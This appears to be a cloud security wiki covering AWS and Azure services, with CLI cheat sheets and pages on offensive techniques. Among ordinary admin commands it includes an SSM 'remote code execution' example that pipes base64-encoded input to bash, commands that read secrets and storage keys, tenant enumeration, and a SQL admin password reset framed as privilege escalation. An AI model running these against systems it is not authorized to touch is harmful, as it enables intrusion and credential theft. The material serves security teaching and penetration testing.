{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/server-side-request-forgery-ssrf>" %}


# Containers

AWS Container-Related Services


# Elastic Container Registry (ECR)

General information about Elastic Container Registry

## Overview

[Amazon Elastic Container Registry (ECR)](https://docs.aws.amazon.com/AmazonECR/latest/userguide/what-is-ecr.html) is an AWS managed container image registry service for hosting Docker images, Open Container Initiative (OCI) images and OCI compatible artifacts.&#x20;

***

## Registry Configuration

### URIs

{% code overflow="wrap" %}

```bash
public.ecr.aws/<random_value_set_by_admin>/<name>              # public repo URI
<accountId>.dkr.ecr.<region>.amazonaws.com/<repo_name>         # private repo URI
```

{% endcode %}

### Permissions

Configured with either IAM Policy or ECR Resource Policy.&#x20;

{% hint style="danger" %}
Look for misconfigured policies that allow Private repositories to be exposed!\
This allows all AWS principals in the world the ability to interact with this Private repository.
{% endhint %}

{% code overflow="wrap" %}

```bash
aws --region us-east-1 ecr get-repository-policy --repository-name tyler/my-private-registry --query policyText --output text | jq
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "allow",
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "ecr:PutImage",
        "ecr:DescribeImages",
        "ecr:ListImages",
        "ecr:DescribeRepositories",
        "ecr:GetAuthorizationToken"
      ]
    }
  ]
}
```

{% endcode %}

### Replication

Private repositories support both [cross-region and cross-account replication](https://docs.aws.amazon.com/AmazonECR/latest/userguide/replication.html).

***

## Useful CLI Commands

{% code overflow="wrap" %}

```bash
aws ecr-public  # public repos
aws ecr         # private repos
```

{% endcode %}

### Login to Registry

Requires `ecr:GetAuthorizationToken`&#x20;

#### Latest Method

{% code overflow="wrap" %}

```bash
REPO_URI=$(aws --region <region> ecr describe-repositories | jq -r '.repositories[].repositoryUri') \
aws ecr get-login-password --region <region> | \
docker login --username AWS --password-stdin $REPO_URI
```

{% endcode %}

#### Legacy Method

{% code overflow="wrap" %}

```bash
REGISTRY=$(aws --region us-east-1 ecr get-authorization-token --query 'authorizationData[0].proxyEndpoint' --output text) \
PASSWORD=$(echo $(aws --region us-east-1 ecr get-authorization-token --query 'authorizationData[0].authorizationToken' --output text) | base64 --decode | cut -d: -f2) \
echo "$PASSWORD" | docker login --username AWS --password-stdin "$REGISTRY"

Login Succeeded
```

{% endcode %}

### Describe Repositories

{% code overflow="wrap" %}

```bash
aws ecr describe-repositories

{
    "repositories": [
        {
            "repositoryArn": "arn:aws:ecr:us-east-1:111111111111:repository/tyler/my-private-registry",
            "registryId": "111111111111",
            "repositoryName": "tyler/my-private-registry",
            "repositoryUri": "111111111111.dkr.ecr.us-east-1.amazonaws.com/tyler/my-private-registry",
            "createdAt": "2025-08-02T11:55:14.300000-06:00",
            "imageTagMutability": "MUTABLE",
            "imageScanningConfiguration": {
                "scanOnPush": false
            },
            "encryptionConfiguration": {
                "encryptionType": "AES256"
            }
        }
    ]
}
```

{% endcode %}

### List Available Images

{% code overflow="wrap" %}

```bash
REPO_NAME=$(aws ecr describe-repositories | jq -r '.repositories[].repositoryName') \
aws list-images --repository-name $REPO_NAME
```

{% endcode %}

### Push Image to Repository

You specify the Registry/Repository path i.e., `111111111111.dkr.ecr.us-east-1.amazonaws.com/tyler/my-private-registry`

Then the tag of the image you want to upload i.e., ubuntu-latest

{% code overflow="wrap" %}

```bash
docker tag ubuntu:latest 111111111111.dkr.ecr.us-east-1.amazonaws.com/tyler/my-private-registry:ubuntu-latest

docker push 111111111111.dkr.ecr.us-east-1.amazonaws.com/tyler/my-private-registry:ubuntu-latest
```

{% endcode %}

***

## Offensive Security Tactics & Techniques <a href="#offensive-security-tactics-and-techniques" id="offensive-security-tactics-and-techniques"></a>

### Privilege Escalation

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/elastic-container-registry-ecr>" %}


# Database

AWS Database-Related Services


# RDS

RDS overview

## Invoke Lambda Function

* RDS supports invoking Lambda functions via an extension, [details found here](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/PostgreSQL-Lambda.html#PostgreSQL-Lambda-network)

{% code overflow="wrap" %}

```zsh
SELECT * from aws_lambda.invoke(aws_commons.create_lambda_function_arn('arn:aws:lambda:aws-region:444455556666:function:simple', 'us-west-1'), '{"body": "Hello from Postgres!"}'::json );
```

{% endcode %}

***

## Offensive Security Tactics & Techniques <a href="#offensive-security-tactics-and-techniques" id="offensive-security-tactics-and-techniques"></a>

### Privilege Escalation

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/rds>" %}


# Security

AWS Security-Related Services


# IAM

IAM overview

## Offensive Security Tactics & Techniques <a href="#offensive-security-tactics-and-techniques" id="offensive-security-tactics-and-techniques"></a>

### Enumeration

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-iam-users>" %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-unauthenticated-iam-users-and-roles>" %}

### Persistence

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-persistence/generate-iam-access-keys-from-cloudshell>" %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-persistence/creating-iam-access-keys>" %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-persistence/backdoor-an-iam-role>" %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-persistence/generating-temporary-aws-credentials-from-iam-user>" %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-persistence/generating-temporary-credentials-from-sso-credentials-file>" %}

### Privilege Escalation

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/password-spraying-aws-iam-users>" %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/generate-aws-console-session>" %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/permissions-abuse>" %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/attacks-techniques-and-tools>" %}


# KMS

KMS overview and attacks

## Data Encryption & Decryption with KMS

KMS can directly encrypt/decrypt data but only up to 4096 bytes. Anything over this size limit requires leveraging a Data Encryption Key (DEK). Reference the [official docs](https://docs.aws.amazon.com/kms/latest/developerguide/overview.html) for more as there are other use cases and types of keys.&#x20;

### Encrypting Data

When leveraging the AWS CLI (AWS SDK under the hood), the data is sent to the KMS service, and a KMS key is used to encrypt the data. The data is sent to the service because the KMS key cannot leave.

{% code overflow="wrap" %}

```bash
# encrypting plaintext data directly
aws kms encrypt --key-id <keyId> --plaintext <plaintextData>

# encrypting a file containing plaintext
aws kms encrypt --key-id <keyId> --plaintext fileb://<plaintextFile>
```

{% endcode %}

### Decrypting Data

Again, the data is sent to the KMS service to be decrypted.&#x20;

{% code overflow="wrap" %}

```bash
# decrypting ciphertext data directly
aws kms decrypt --key-id <kms-key-id> --ciphertext <ciphertextData>

# decrypting a file containing encrypted data
aws kms decrypt --key-id <kms-key-id> --ciphertext-blob fileb://<encryptedFile> --output text --query Plaintext | base64 --decode > <outputFileName>
```

{% endcode %}

## Data Encryption & Decryption with KMS Data Encryption Key (DEK)

Data encryption keys can be generated when you need to encrypt / decrypt data larger than 4096 bytes. These keys are generated from a KMS key and the plaintext version performs the encryption. After the plaintext key encrypts the data, it should be deleted, and the encrypted version of the key stored alongside the encrypted data. The encrypted key contains metadata which describes the KMS key required to decrypt itself.&#x20;

When generating a data encryption key using the AWS CLI (or AWS SDK) you must remember to delete the plaintext key otherwise an attacker can access your data. The AWS Encryption SDK can perform this task for you.&#x20;

### Generating a DEK

{% code overflow="wrap" %}

```bash
aws kms generate-data-key --key-id <kms-key-id> --key-spec AES_256                                                        
{
    "CiphertextBlob": "AQIDAHjBdOEYbwSwF+14[snip]",
    "Plaintext": "AzSMaOZqgt[snip]",
    "KeyId": "arn:aws:kms:us-east-1:<aws-account-id>:key/<kms-key-id>"
}
```

{% endcode %}

Store the `CiphertextBlob` and `Plaintext` like so.

{% code overflow="wrap" %}

```bash
echo "AQIDAHj..." | base64 --decode > encrypted_key
echo "AzSMaOZqgt..." | base64 --decode > plaintext_key
```

{% endcode %}

### Encrypting Data with DEK

Since the AWS CLI cannot utilize data encryption keys, you must use another solution such as `openssl`.&#x20;

{% code overflow="wrap" %}

```bash
openssl enc -in <fileToEncrypt> -out <newEncryptedFileName> -e -aes256 -k fileb://plaintext_key 
```

{% endcode %}

Now, the `plaintext_key` should be deleted and the `encrypted_key` stored alongside the encrypted data.&#x20;

### Decrypting Data with DEK

Now, use the KMS key to decrypt the the `encrypted_key` and store the plaintext key in a file, `plaintext_key` .&#x20;

{% code overflow="wrap" %}

```bash
aws kms decrypt --ciphertext-blob fileb://encrypted_key --key-id <kms-key-id> --query Plaintext --out text | base64 --decode > plaintext_key
```

{% endcode %}

Again, leverage `openssl` or similar to decrypt the data.&#x20;

{% code overflow="wrap" %}

```bash
openssl enc -in encrypted_large_file.txt -out decrypted_large_file.txt -d -aes256 -k fileb://plaintext_key
```

{% endcode %}

## AWS Encryption SDK

The [AWS Encryption SDK](https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/programming-languages.html) can be leveraged as a CLI tool or in code such as Python, Java, JavaScript, .NET, and C. Utilizing this SDK will handle KMS and DEKs for you, simplifying the process compared to the previous examples of generating DEKs and using 3rd party solutions like `openssl`.&#x20;

### Encrypting Data with Encryption SDK (CLI)

{% code overflow="wrap" %}

```bash
aws-encryption-cli --encrypt --input plaintext_sdk_example.txt --output encrypted_sdk_example.txt --wrapping-keys key=<kms-key-id> --commitment-policy require-encrypt-require-decrypt --metadata-output metadata
```

{% endcode %}

A metadata file is generated which details the encryption process such as the KMS key used, algorithm, and more.

{% code overflow="wrap" %}

```bash
cat metadata

    {"header": {"algorithm": "AES_256_GCM_HKDF_SHA512_COMMIT_KEY_ECDSA_P384", "commitment_key": "YVeJwji5Cx1NYBizsDfi3u6Z7yydR3DSvtVBmb985BE=", "content_type": 2, "encrypted_data_keys": [{"encrypted_data_key":[snip]
```

{% endcode %}

### Decrypting Data with Encryption SDK (CLI)

{% code overflow="wrap" %}

```bash
aws-encryption-cli --decrypt --input encrypted_sdk_example.txt --output decrypted_sdk_example.txt --wrapping-keys key=<kms-key-arn> --metadata-output metadata_d --max-encrypted-data-keys 1 --buffer --commitment-policy require-encrypt-require-decrypt
```

{% endcode %}

***

## Offensive Security Tactics & Techniques <a href="#offensive-security-tactics-and-techniques" id="offensive-security-tactics-and-techniques"></a>

### Privilege Escalation

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/rds>" %}


# Serverless

AWS Serverless-Related Services


# SNS Topic

SNS overview and attacks

## SNS

* Simple Notification Service
* Sends messages from publishers to subscribers&#x20;
* May contain sensitive information&#x20;

### Subscribing to SNS

{% code overflow="wrap" %}

```bash
aws sns subscribe --topic-arn <ARN> --protocol email --notification-endpoint <emailAddress>
```

{% endcode %}


# Storage

AWS Storage-Related Services


# S3

General information about AWS S3

## URL Format

S3 utilizes a global namespace which means each bucket name must be unique. Additionally, buckets can be accessed via a URL which means the DNS entry must be unique.

* `https://[bucketName].s3.amazonaws.com`
* `https://s3-[region].amazonaws.com/[OrgName]`

## Identify Region

S3 buckets reside and store data in a particular region. We can discover the region in a few ways.

* `nslookup https://tyler123kjdf.s3.amazonaws.com`
* `curl -I [bucketName].s3.amazonaws.com`

***

## Offensive Security Tactics & Techniques <a href="#offensive-security-tactics-and-techniques" id="offensive-security-tactics-and-techniques"></a>

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/data-poisoning-bedrock-knowledge-base>" %}

### Enumeration

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-organization-id>" %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-account-ids#using-an-s3-bucket-name>" %}

### Privilege Escalation

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/permissions-abuse-2>" %}


# AWS CLI Cheat Sheet

Quick reference for commonly used commands

[AWS CLI Reference Documentation](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/index.html#available-services)

## Setup

```sh
# Cli command structure
aws <service> <action> --region <region> --profile <profileName>

# Configure aws cli
aws configure
aws configure --profile <nameOfProfile>
aws configure set aws_session_token <sessionToken> --profile <nameOfProfile>

# Whoami
aws sts get-caller-identity
```

## IAM Commands

### Users/Roles/Groups

```sh
# list iam users
aws iam list-users

# list iam roles
aws iam list-roles

# list iam groups
aws iam list-groups

# list all iam access keys for a user
aws iam list-access-keys --user-name <iamUserName> --profile <awsProfile>

# create iam access keys
aws iam create-access-key --user-name <iamUserName> --profile <awsProfile>

# assume an iam role
aws sts assume-role --role-arn <arnIamRole> --role-session-name <whatever> --profile <awsProfile>
```

### Policies

#### User Enumeration

```bash
# list iam Inline policies attached to user
aws iam list-user-policies --user-name <user>

# list iam Managed policies attached to user
aws iam list-attached-user-policies --user-name <user>
```

#### Role Enumeration

```bash
# list iam trust policy attached to role
aws iam get-role --role-name <roleName> --query 'Role.AssumeRolePolicyDocument'

# list Inline policies attached to role
aws iam list-role-policies --role-name <roleName>

# list Managed policies attached to role
aws iam list-attached-role-policies --role-name <roleName>
```

#### Policy Enumeration

```sh
# view Managed policy info
aws iam get-policy --policy-arn <policyARN>

# view Managed policy version and actions
aws iam get-policy-version --policy-arn <policyARN> --version-id <policyVersionId>

# view Inline policy 
aws iam get-user-policy --user-name <user> --policy-name <policy-name>

# view available versions of a policy
aws iam list-policy-versions --policy-arn <policyArn>

# view the policy for a particular version
aws iam get-policy-version --policy-arn <policyArn> --version-id <versionId>

# attach a specific version of a policy
aws iam set-default-policy-version --policy-arn <policyArn> --version-id <versionId>
```

## Identity Center Commands

{% code overflow="wrap" %}

```bash
# list Identity Center instance, returns ARN
aws sso-admin list-instances --region <region>

# view permission sets
aws sso-admin list-permission-sets --instance-arn <instanceARN> --region <region>

# view permission set details
aws sso-admin describe-permission-set --instance-arn <instanceARN> --permission-set-arn <permissionSetARN>

# view Inline policy for permission set
aws sso-admin get-inline-policy-for-permission-set --instance-arn <instanceARN> --permission-set-arn <permissionSetARN>
```

{% endcode %}

## S3

{% code overflow="wrap" %}

```bash
# list bucket contents
aws s3 ls s3://<bucketName> --recursive --no-sign-request

# copy files
aws s3 cp s3://<bucketName> /local/path/download --recursive --no-sign-request
aws s3 cp s3://<bucketName>/object /local/path/download --no-sign-request

# get bucket versioning
aws s3api list-object-versions --bucket <bucketName>

# get particular version of an object
aws s3api get-object --bucket <bucketName> --key "object/object" --version-id <versionID> <objectName>
```

{% endcode %}

## SSM

* Multiple ways to run commands, see [Docs](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/send-command.html#options)

{% code overflow="wrap" %}

```bash
# remote code execution
aws ssm send-command \
    --document-name "AWS-RunShellScript" \
    --parameters 'commands=["echo HelloWorld"]' \
    --targets "Key=instanceids,Values=i-1234567890abcdef0,<instanceId2>,<instanceId3>" \
    --comment "echo HelloWorld"
    
# view command log, useful if command failed
aws ssm list-command-invocations \
    --instance-id "<instanceId>"
    --command-id "<commandId>"
    --details 
    
# base64 encode commands
aws ssm send-command \
    --instance-id "<instanceId>"
    --document-name "<name>"
    --comment "<comment>"
    --parameters '{"commands":["echo <base64EncodedCommand> | base64 -d | bash"]}'
```

{% endcode %}

## Secrets Manager

```bash
# list stored secrets
aws secretsmanager list-secrets

# read a secret
aws secretsmanager get-secret-value --secret-id <name>

# read a secret (version, when available)
aws secretsmanager get-secret-value --secret-id <name> --version-id <versionId>
```

## DynamoDB

```bash
# list tables
aws dynamodb list-tables

# read tables
aws dynamodb scan --table-name <name>
```


# Azure


# Azure Overview

An overview of Azure's architecture

{% hint style="info" %}
This page provides a high-level overview of core Azure services from a security perspective. These services are key to building comprehensive security coverage across your environment, but this list is not exhaustive.
{% endhint %}

## Organization & Account Structure

```
Entra ID Tenant
└── Management Groups (optional)
     └── Subscription(s)
          └── Resource Group(s)
               └── Resource(s)
```

Azure organizes resources through a hierarchy rooted at an Entra ID Tenant, Microsoft's cloud identity platform previously known as Azure Active Directory (Azure AD), automatically created when an organization signs up for Azure or Microsoft 365. The Tenant serves as the identity and security boundary for the organization, managing identities such as users, devices, and applications, but does not directly contain Azure resources. Subscriptions can be placed directly under the Tenant root or optionally organized into Management Groups. Management Groups provide logical grouping of subscriptions by environment, department, region, or other criteria, and can be leveraged for Azure Policy as a preventive control, RBAC assignments for access management at scale, and more.

Subscriptions are the primary unit of security isolation in Azure, with their own RBAC scope, resource limits, and billing boundary. Each subscription must be linked to exactly one Entra ID tenant. Within a subscription, Resource Groups serve as mandatory containers for all resources and provide a secondary scoping layer for RBAC and policy assignments. Deleting a Resource Group removes all resources within it, making resource group-level RBAC a critical control surface. This makes the subscription the recommended blast radius boundary, where workloads, environments (dev/prod), and security functions (logging, auditing) are separated into dedicated subscriptions.

The Global Administrator role in Entra ID is the highest-privilege identity in an Azure tenant. A Global Administrator can elevate their own access to User Access Administrator across all Azure subscriptions in the tenant, meaning a compromise of this role is effectively a compromise of the entire organization. [Microsoft recommends](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/security-emergency-access) treating Global Administrator accounts as break-glass accounts, using dedicated hardened accounts accessed only in emergencies, and distributing day-to-day management through scoped RBAC role assignments and Azure Policy at the management group or subscription level.

## Policy & Governance

## Logging & Monitoring

## Identity & Access Management

## Security & Threat Detection

## Network Security


# Azure CLI Cheat Sheet

Quick reference for commonly used commands

{% embed url="<https://learn.microsoft.com/en-us/cli/azure/reference-docs-index?view=azure-cli-latest>" %}

## Authentication

### Login

{% tabs %}
{% tab title="Interactive Login" %}
{% code overflow="wrap" %}

```zsh
az login ## complete auth in web browser
az login --use-device-code ## if no web browser available
```

{% endcode %}
{% endtab %}

{% tab title="Service Principal" %}

* With App ID and client secret

{% code overflow="wrap" %}

```zsh
az login --service-principal --username <user-name-xxxx-xxxx-xxxxxxxxxxxx> --password <password> --tenant <tenant>

## avoid displaying password 
read -sp "Azure password: " AZ_PASS && echo && az login --service-principal --username <app-id> --password $AZ_PASS --tenant <tenant>
```

{% endcode %}

* With App ID and certificate

{% code overflow="wrap" %}

```zsh
az login --service-principal --username <user-name> --certificate /path/to/cert.pem --tenant <tenant>
```

{% endcode %}
{% endtab %}

{% tab title="Managed Identity" %}

* System-managed identities&#x20;

{% code overflow="wrap" %}

```zsh
az login --identity
```

{% endcode %}

* User-managed identities (any option works)

{% code overflow="wrap" %}

```zsh
az login --identity --client-id <client_id>
az login --identity --object-id <object_id>
az login --identity --resource-id <resource_id>
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Identity Enumeration

### Whoami

* Look up current authenticated identity

{% code overflow="wrap" %}

```zsh
az account show
```

{% endcode %}

{% code overflow="wrap" %}

```zsh
az ad signed-in-user show
```

{% endcode %}

* Look up a specific identity&#x20;

{% code overflow="wrap" %}

```zsh
az ad sp show --id <user-name-xxxx-xxxx-xxxxxxxxxxxx>
```

{% endcode %}

### View Azure Role Assignments and Permissions

{% hint style="info" %}
Users, Service Principals, Workload Identities, and Managed Identities can have Azure RBAC permissions assigned directly
{% endhint %}

* Get `assignee` from `az login ... | jq -r '.[].user.name`

{% code overflow="wrap" %}

```zsh
az role assignment list --assignee $az_user --all --include-inherited | jq -r '.[].roleDefinitionName' | while read rolename; do az role definition list --name "$rolename" | jq -r '.[]'; done
```

{% endcode %}

### View Azure Role Assignments and Permissions (Group)

{% hint style="info" %}
Users and Service Principals can have Azure RBAC permissions assigned via Group membership
{% endhint %}

#### View Entra ID Group Membership Info

* Get all groups a user is a member of, returns group name(s), group ids, and more

{% code overflow="wrap" %}

```zsh
az rest --method GET --url "https://graph.microsoft.com/v1.0/users/<user-email>/memberOf" --query "value[].displayName" -o table
```

{% endcode %}

* Get the group id for a group name (also in the output of previous command)

{% code overflow="wrap" %}

```zsh
az ad group show --group <group-name> --query id
```

{% endcode %}

#### View Azure Roles Assigned to Group

* Get the role definition id(s) for roles assigned to the group

{% code overflow="wrap" %}

```zsh
az role assignment list --assignee <group-id> --all --include-inherited
```

{% endcode %}

#### View Azure Role's Permissions

* Get the Azure RBAC permissions assigned to the role&#x20;

{% code overflow="wrap" %}

```zsh
az role definition show --id "<role-definition-id"
```

{% endcode %}

***

## Compute

### Virtual Machines

#### List VM Extensions

{% code overflow="wrap" %}

```zsh
az vm extension image list
```

{% endcode %}

***

## Security

### Key Vault

#### List Key Vault

{% code overflow="wrap" %}

```zsh
az keyvault list
```

{% endcode %}

#### List Secrets in Key Vault

{% tabs %}
{% tab title="AZ CLI" %}
{% code overflow="wrap" %}

```zsh
az keyvault secret list --vault-name <key-vault-name>
```

{% endcode %}
{% endtab %}

{% tab title="CURL" %}
{% code overflow="wrap" %}

```zsh
curl -s -H "Authorization: Bearer $KV_TOKEN" "https://<key-vault-name>.vault.azure.net/secrets?api-version=7.4"
```

{% endcode %}
{% endtab %}
{% endtabs %}

#### Retrieve Secrets from Key Vault

{% tabs %}
{% tab title="AZ CLI" %}
{% code overflow="wrap" %}

```zsh
az keyvault secret show --vault-name <key-vault-name> --name <secret-name>
```

{% endcode %}
{% endtab %}

{% tab title="CURL" %}
{% code overflow="wrap" %}

```zsh
curl -s -H "Authorization: Bearer $KV_TOKEN" "https://<key-vault-name>.vault.azure.net/secrets/<secret-name>/?api-version=7.4"
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

## Storage

### Storage Account

#### Enumerate Storage Account Access Keys

{% code overflow="wrap" %}

```zsh
az storage account keys list --account-name <storage-account-name>
```

{% endcode %}

#### Enumerate Storage Accounts

{% code overflow="wrap" %}

```zsh
az storage account list
az storage account list --resource-group <rg-name>
```

{% endcode %}

### Storage Containers

#### List Storage Containers

* Get `account-name` from `az storage account list | jq -r '.[].name'`

{% code overflow="wrap" %}

```zsh
az storage container list --account-name <storage-acct-name>
az storage container list --account-name <storage-acct-name> --include-deleted 
```

{% endcode %}

#### Restore Deleted Storage Container

{% code overflow="wrap" %}

```zsh
az storage container restore --account-name <storage-acct-name> --name <container-name> --deleted-version <deleted-container-version>
```

{% endcode %}

#### Check if Versioning is Enabled on Container

* Like AWS S3 objects, Azure supports versioning of data too&#x20;

{% code overflow="wrap" %}

```zsh
az storage account blob-service-properties show \
    --account-name <storage-acct-name> \
    --resource-group <rg-name> \
```

{% endcode %}

### Blobs (files)

#### View Blobs in Container

* Get `container-name` from `az storage container list...  jq -r '.[].name'`

{% code overflow="wrap" %}

```zsh
az storage blob list --account-name <storage-acct-name> --container-name <container-name> --output table
```

{% endcode %}

#### Check Available Blob Versions

* `--include v` shows versions of the blobs

{% code overflow="wrap" %}

```zsh
az storage blob list \
    --account-name <storage-acct-name> \
    --container-name <container-name> \
    --include v
```

{% endcode %}

#### Stream Blob Content

* View file contents without downloading the file

{% code overflow="wrap" %}

```zsh
az storage blob download --account-name <storage-acct-name> --container-name <container-name> --name <file-to-download>
```

{% endcode %}

* Get `version-id` from checking the [blob versions](#check-available-blob-versions)

{% code overflow="wrap" %}

```zsh
az storage blob download --account-name <storage-acct-name> --container-name <container-name> --name <file-to-download> --version-id <blob-version>
```

{% endcode %}

#### Download Blobs

* Downloads the file to the destination

{% code overflow="wrap" %}

```zsh
az storage blob download --account-name <storage-acct-name> --container-name <container-name> --name <file-to-download> --file ./<file-destination>
```

{% endcode %}

* Get `version-id` from checking the [blob versions](#check-available-blob-versions)

{% code overflow="wrap" %}

```zsh
az storage blob download --account-name <storage-acct-name> --container-name <container-name> --name <file-to-download> --file ./<file-destination> --version-id <blob-version>
```

{% endcode %}

### Tables

#### List Storage Tables

{% code overflow="wrap" %}

```zsh
az storage table list --account-name <storage-account-name> --auth-mode login
```

{% endcode %}

#### Query Storage Entities

* These exist within a Storage Table

{% code overflow="wrap" %}

```zsh
az storage entity query --account-name <storage-account-name> --table-name <table-name> --auth-mode login
```

{% endcode %}


# Azure Identity & Access Management

An overview of Azure IAM

## Microsoft Entra ID

* Part of a broader Microsoft Entra product family
* Provides identity, authentication, access policies, and security controls for users, groups, devices, and applications

### Microsoft Entra Roles

* Microsoft Entra ID roles are used to manage directory (identity) resources within Entra ID e.g., creating and managing users and groups, assigning administrative roles, resetting passwords, managing licenses, and managing domains
* These roles can be assigned to Entra ID Users, Groups, Service Principals, and Managed Identities
* Microsoft Entra ID roles **do not** grant access to Azure resources such as compute, databases, or storage

### Azure Roles

* Azure role-based access control (Azure RBAC) is used to authorize access to Azure resources
* These roles can be assigned to Entra ID Users, Groups, Service Principals, and Managed Identities
* Azure RBAC roles grant permissions to Azure resources such as virtual machines, databases, storage accounts, and other services

| Microsoft Entra roles                                                                                                                                                                                                                         | Azure roles                                                                                                               |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| Manage access to Microsoft Entra resources                                                                                                                                                                                                    | Manage access to Azure resources                                                                                          |
| Supports custom roles                                                                                                                                                                                                                         | Supports custom roles                                                                                                     |
| [Scope](https://learn.microsoft.com/en-us/azure/active-directory/roles/custom-overview#scope) can be specified at the tenant level (organization-wide), administrative unit, or on an individual object (for example, a specific application) | Scope can be specified at multiple levels (management group, subscription, resource group, resource)                      |
| Role information can be accessed in the Azure portal, Microsoft Entra admin center, Microsoft 365 admin center, Microsoft Graph, Microsoft Graph PowerShell                                                                                   | Role information can be accessed in Azure portal, Azure CLI, Azure PowerShell, Azure Resource Manager templates, REST API |

***

## Additional Resources

{% embed url="<https://learn.microsoft.com/en-us/azure/role-based-access-control/rbac-and-directory-admin-roles#microsoft-entra-roles>" %}


# Azure Offensive Security


# Azure Attacks and Techniques

Demonstrating various attacks that can be performed on Azure


# Discover if Domain Associated with Entra ID / Microsoft 365

How to determine if a domain leverages Entra ID

## Overview

* We can check a particular Microsoft URL to determine if a domain is associated with Entra ID or Microsoft 365 (office)
* In the output, look for the `NameSpaceType` field and inspect the value:
  * `Managed` — domain is an Azure AD tenant
  * `Federated` — domain is associated with an Azure AD tenant but leverages a federation service e.g., Okta, PingID, Active Directory, etc.&#x20;
  * `Unknown` — domain not associated with Azure AD tenant

### View with Web Browser

<div data-with-frame="true"><figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FSqxEZUQmdzIHllQZt5DK%2FCleanShot%202026-01-02%20at%2015.46.12%402x.png?alt=media&amp;token=57244445-a359-42f2-936e-fbdfc6dec556" alt=""><figcaption></figcaption></figure></div>

### View with curl

{% code overflow="wrap" %}

```zsh
curl -s 'https://login.microsoftonline.com/getuserrealm.srf?login=<domain-url>&xml=1' | xmllint --format -
```

{% endcode %}

### View with PowerShell

{% embed url="<https://aadinternals.com/aadinternals/>" %}

{% code overflow="wrap" %}

```zsh
brew install powershell
```

{% endcode %}

```powershell
pwsh
Install-Module -Name AADInternals
Import-Module -Name AADInternals
Get-AADIntLoginInformation -Domain <domain-url>
```

***

## Additional Resources

{% embed url="<https://learn.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure>" %}


# Discover Entra ID Tenant ID

How to discover an Entra ID Tenant ID

## Overview

{% hint style="info" %}
This is a public endpoint for required functionality
{% endhint %}

* We can check a particular Microsoft URL to determine an Entra ID Tenant ID (assuming the [domain is associated with Entra / Microsoft 365](/cloud-security/azure/azure-offensive-security/azure-attacks-and-techniques/discover-if-domain-associated-with-entra-id-microsoft-365))

### View in a Web Browser

<div data-with-frame="true"><figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2F5GXzLN9AOI52lDUzqaYv%2FCleanShot%202026-01-02%20at%2015.39.44%402x.png?alt=media&amp;token=5ad0cbf3-6bc6-4dec-a067-e2ccd08e8c0d" alt=""><figcaption></figcaption></figure></div>

### View with curl

{% code overflow="wrap" %}

```zsh
curl -s 'https://login.microsoftonline.com/<domain-url>/.well-known/openid-configuration' \
| jq -r '.token_endpoint | split("/") | .[3]'
```

{% endcode %}

### View with PowerShell&#x20;

{% embed url="<https://aadinternals.com/aadinternals/>" %}

{% code overflow="wrap" %}

```zsh
brew install powershell
```

{% endcode %}

```powershell
pwsh
Install-Module -Name AADInternals
Import-Module -Name AADInternals
Get-AADIntTenantID -Domain <domain-url>
```


# Azure Privilege Escalation

Leveraging Azure permissions for privilege escalation and compromise


# SQL Database

Abusable Azure SQL Database permissions that can lead to compromise or privilege escalation

## General Info

{% content-ref url="/pages/cEtroifYYkofElo4vHn4" %}
[Azure SQL Database](/cloud-security/azure/azure-services-info/databases/azure-sql-database)
{% endcontent-ref %}

***

## Microsoft.Sql/servers/read and Microsoft.Sql/servers/write

* With access to these permissions, an attacker can configure the admin user's password for a SQL Database

{% code overflow="wrap" %}

```zsh
az sql server update --name <sql-server-name> --resource-group <resource-group-name> --admin-password <new-password>
```

{% endcode %}

***


# Azure Services Info

General information about Azure and its services

I've organized the Azure Services by categories aligned to the way [Microsoft's documentation](https://learn.microsoft.com/en-us/azure/?product=popular) does it.&#x20;




---

[Next Page](/llms-full.txt/1)

